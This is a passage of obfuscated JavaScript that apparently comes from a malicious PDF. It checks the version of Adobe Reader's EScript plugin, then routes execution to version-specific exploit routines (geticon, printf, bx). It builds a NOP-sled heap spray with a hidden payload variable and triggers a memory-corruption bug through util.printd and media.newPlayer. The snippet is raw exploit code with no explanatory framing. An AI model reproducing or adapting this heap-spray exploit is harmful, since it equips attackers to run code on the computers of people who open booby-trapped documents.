i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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